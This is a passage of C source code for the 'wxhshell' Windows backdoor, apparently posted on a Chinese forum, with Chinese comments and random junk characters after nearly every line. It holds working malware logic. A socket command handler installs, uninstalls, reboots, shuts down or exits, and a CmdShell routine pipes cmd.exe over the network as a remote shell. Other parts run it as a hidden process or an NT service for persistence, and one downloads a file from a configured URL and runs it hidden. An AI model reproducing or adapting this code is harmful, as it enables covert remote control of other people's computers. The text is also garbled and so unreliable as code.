  case '?': { oS#PBql4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); noQS bI @  
    break; 4ZrRgx2MD  
  } P,={ C6*  
  // 安装 ja+PVf  
  case 'i': { fW3NH7aUG  
    if(Install()) >A ?,[p`<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )^LiAL h  
    else zT ; +akq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]T1\gv1~  
    break; )5/,B-+O"  
    } UA(&_-C\  
  // 卸载 )6:1`&6  
  case 'r': { Gq0`VHAn  
    if(Uninstall()) ]@hN&W(+x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aP/Ff%5T  
    else rqz`F\A;%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n1;zml:7_  
    break; R 9b0D>Lxt  
    } u E<1PgW  
  // 显示 wxhshell 所在路径 ,<!v!~Iy  
  case 'p': { Vl%UT@D|  
    char svExeFile[MAX_PATH]; (u-eL#@  
    strcpy(svExeFile,"\n\r"); ]lZ g }7h  
      strcat(svExeFile,ExeFile); l3HfaCP6:  
        send(wsh,svExeFile,strlen(svExeFile),0); '0 J*9  
    break; o&:'MwU  
    } {Xv0=P  
  // 重启 w>TTu: 7  
  case 'b': { /SD(g@G,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]jgMN7  
    if(Boot(REBOOT)) '))K' u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZXC_kmBN/  
    else { k8E{pc6;  
    closesocket(wsh); e^yfoE<7  
    ExitThread(0); b&2 N7%  
    } _Z_R\  
    break; j kV9$W0  
    } I T?~`vi  
  // 关机 );=0cnr3  
  case 'd': { fHiS'R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v^3s?V D  
    if(Boot(SHUTDOWN)) YWF Hv@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,C}s8|@k  
    else { i2l/y,UX  
    closesocket(wsh); $tB `dDj  
    ExitThread(0); p&k%d, *  
    } \IO<V9^L  
    break; /|>?!;   
    } 6d/1PGB  
  // 获取shell IH3Nkpsg  
  case 's': { BD?u|Fd,i:  
    CmdShell(wsh); {wvBs87  
    closesocket(wsh); N<^)tR8+  
    ExitThread(0); aI_[h v  
    break; "2z&9`VIY  
  } a7n`(}?Y  
  // 退出 7[ZoUWx  
  case 'x': { vE&K!k`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t_w2J=2  
    CloseIt(wsh); dQ=L<{(  
    break; (CInt_dBw~  
    } /Csk"IfuO  
  // 离开 S9%ZeM +  
  case 'q': { @K1'Q!S *  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PC3?eS}  
    closesocket(wsh); 3@wio[  
    WSACleanup(); l4*vM  
    exit(1); _0"s6D$  
    break; bi[g4,`Z;  
        } @|D#lBm  
  } {JQCfs  
  } jr/IU=u*v  
"P yG;N!W  
  // 提示信息  wWQt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1xjWD30  
} z-_$P)[c  
  } ~Z' /b|x<3  
~- eB  
  return; >f70-D28  
} 5O[\gd-  
*R3^:Y&  
// shell模块句柄 <b-OdOg  
int CmdShell(SOCKET sock) |cgc^S/~H  
{ {$Z S 2 7  
STARTUPINFO si; Tly*i"[&  
ZeroMemory(&si,sizeof(si)); Q[)3r ,D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .S[M: <<*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,0f^>3&n>e  
PROCESS_INFORMATION ProcessInfo; W/<Lp+p  
char cmdline[]="cmd"; 9D]bCi\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m>djoe  
  return 0; @]etW>F_  
} kQD~v+u{`  
TeKU/&fkc  
// 自身启动模式 p %hvDC  
int StartFromService(void) >?[?W|k7V  
{ F0tcVdv  
typedef struct OV|n/~  
{ s*R UYx  
  DWORD ExitStatus; XbIxGL  
  DWORD PebBaseAddress; `6<Qb=  
  DWORD AffinityMask; hWi2S!*Y  
  DWORD BasePriority; m-]F]c=)w<  
  ULONG UniqueProcessId; p ^ ONJL  
  ULONG InheritedFromUniqueProcessId; o_a'<7\#i  
}   PROCESS_BASIC_INFORMATION; (dwb{+HW  
RQU-]qQ8BM  
PROCNTQSIP NtQueryInformationProcess; !uP8powO  
pZKK7   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #j'7\SV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l ;S_J^S  
)j!%`g  
  HANDLE             hProcess; Cz6bD$5  
  PROCESS_BASIC_INFORMATION pbi; .>1vN+  
? (M$r\\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); baGV]=j  
  if(NULL == hInst ) return 0; `jec|i@oO  
u)vS,dzu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rJ(AO'=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vi#[k n'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wb ^>/  
m[ER~]L/C  
  if (!NtQueryInformationProcess) return 0; BmaY&?  
hPuF:iiQ4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5w5"rcV  
  if(!hProcess) return 0; 9M-W 1prb  
)}u?ftu\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4U3 `g  
n.Y45(@E  
  CloseHandle(hProcess); `>=@Kc  
m[v%Qe|~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r`i.h ^2De  
if(hProcess==NULL) return 0; 8X/SNRk6p  
6=96^o*  
HMODULE hMod; !-t"}^)  
char procName[255]; f#-\*  
unsigned long cbNeeded; B<ZCuVWH:  
D;z!C ys  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qp{~OW3  
nfh<3v|kvR  
  CloseHandle(hProcess); !QC ErE;r  
h6?o)Q>N  
if(strstr(procName,"services")) return 1; // 以服务启动 pZ]&M@Ijp  
<) -]'@*c  
  return 0; // 注册表启动 ~MP/[,j`  
} EqOhzII^  
loUZD=Ph  
// 主模块 *VaQ\]:d  
int StartWxhshell(LPSTR lpCmdLine) +_jM$?:F}  
{ 3Xy~ap>Y  
  SOCKET wsl; r@PVSH/  
BOOL val=TRUE; ?;A\>sP  
  int port=0; GC|V>| tz#  
  struct sockaddr_in door; iFZ.a.NDc  
Ym6v4k!@O  
  if(wscfg.ws_autoins) Install(); _ Td#C1g3  
pcQgWjfS  
port=atoi(lpCmdLine); ?Zb3M  
T8^l}Y B  
if(port<=0) port=wscfg.ws_port; ErFt5%FN.O  
{kvxz  
  WSADATA data; }?MbU6"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MRT<hB  
]Bs{9=2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FGeKhA 8jT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aGAr24]y  
  door.sin_family = AF_INET; r.c:QY$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;p87^:  
  door.sin_port = htons(port); kOC0d,  
-j1]H"-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *?A!`JpJn  
closesocket(wsl); Df$~=A}  
return 1; j%}9tM6[  
} M"-.D;sa1  
f1 XM_  
  if(listen(wsl,2) == INVALID_SOCKET) { OGO\u#  
closesocket(wsl); 3QF[@8EH{  
return 1; &8I*N6p:%/  
} _C19eW'  
  Wxhshell(wsl); T7o7t5*  
  WSACleanup(); a'd=szt  
iiWpm E<,  
return 0; Tl#2w=  
TD78&a#  
} jvpv1>KYV  
F+L%Ho;@P  
// 以NT服务方式启动 . g-  HB'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b1G6'~U-  
{ '&$zgK9T?  
DWORD   status = 0; X&Sah}0V&  
  DWORD   specificError = 0xfffffff; 4vNH"72P  
wFjQ1<s=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gSf >+|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ggy?5N7P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N^AlhR^  
  serviceStatus.dwWin32ExitCode     = 0; Spn)M79  
  serviceStatus.dwServiceSpecificExitCode = 0; /1uGsE+[  
  serviceStatus.dwCheckPoint       = 0; h iK}&  
  serviceStatus.dwWaitHint       = 0; BB_(!omq[  
OX?E3 <8`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L[<CEk  
  if (hServiceStatusHandle==0) return; ^ > ?C  
&wN}<G e6  
status = GetLastError(); r%NzKPW'  
  if (status!=NO_ERROR) M#Q"h5l  
{ wWSE[S$V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G[u{! 2RS  
    serviceStatus.dwCheckPoint       = 0; : %uaaFl  
    serviceStatus.dwWaitHint       = 0;  4,?beA  
    serviceStatus.dwWin32ExitCode     = status; 'I:_}q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bwu?DK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IkxoW:L  
    return; sCp)o,;  
  } hegH^IN M  
ej1WkaR8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EQX<<x"  
  serviceStatus.dwCheckPoint       = 0; 8iM:ok  
  serviceStatus.dwWaitHint       = 0; =kCiJ8q|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }^P"R[+4u  
} 2|U6dLZ!  
W|(<z'S  
// 处理NT服务事件,比如:启动、停止 D&pX0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *SlWA)9 Y  
{ =k;X}/  
switch(fdwControl) PWquu`  
{ u9u'5xAO  
case SERVICE_CONTROL_STOP: ] mK{E~Zll  
  serviceStatus.dwWin32ExitCode = 0; \ Co Z+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i6y=3k  
  serviceStatus.dwCheckPoint   = 0; zU!d(ge.E  
  serviceStatus.dwWaitHint     = 0; 7!)VO D8Z  
  { PYzTKjw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cr?ZXu_  
  } edZBQmx+#  
  return; %(H' j@D[  
case SERVICE_CONTROL_PAUSE: ^NM>x Ienf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B\% Gp}  
  break; G*~CB\K_  
case SERVICE_CONTROL_CONTINUE: Xq"Es  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9l:[jsk<d  
  break; BB ::zBg  
case SERVICE_CONTROL_INTERROGATE: ZwiXeD+4  
  break; > %slzr  
}; }o\} qu*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Q{OM:L/;.  
} mS49l  
!D V0u)k(  
// 标准应用程序主函数 N P5K1:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .q!i +0  
{ ?FEh9l)d\  
oq b(w+<  
// 获取操作系统版本 |KO[[4b ?+  
OsIsNt=GetOsVer(); oa[O~z{~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K@:Ab'(P^|  
" BLJh)i  
  // 从命令行安装 @\>7 wt_'  
  if(strpbrk(lpCmdLine,"iI")) Install(); +}:2DXy@  
3df5 e0  
  // 下载执行文件 '-$cvH7_  
if(wscfg.ws_downexe) { Y"nz l]T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c0w1 N]+Ne  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hw6 2'%  
} k![H;}W  
zsR5"Vi=  
if(!OsIsNt) { =.J cIT'  
// 如果时win9x,隐藏进程并且设置为注册表启动 dP>FXgY  
HideProc(); gv i!|!M=  
StartWxhshell(lpCmdLine); # @7 I  
} 8-cuaa  
else qv |}>wU  
  if(StartFromService()) KP $AT}D  
  // 以服务方式启动  -rT#Wi  
  StartServiceCtrlDispatcher(DispatchTable); 2^nws  
else ][YuJUK8  
  // 普通方式启动 {M= *>P]E  
  StartWxhshell(lpCmdLine); %;<g!Vw.k  
L|;sB=$'{  
return 0; ZF8`= D`:R  
}
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只看该作者 1 发表于: 2006-10-10
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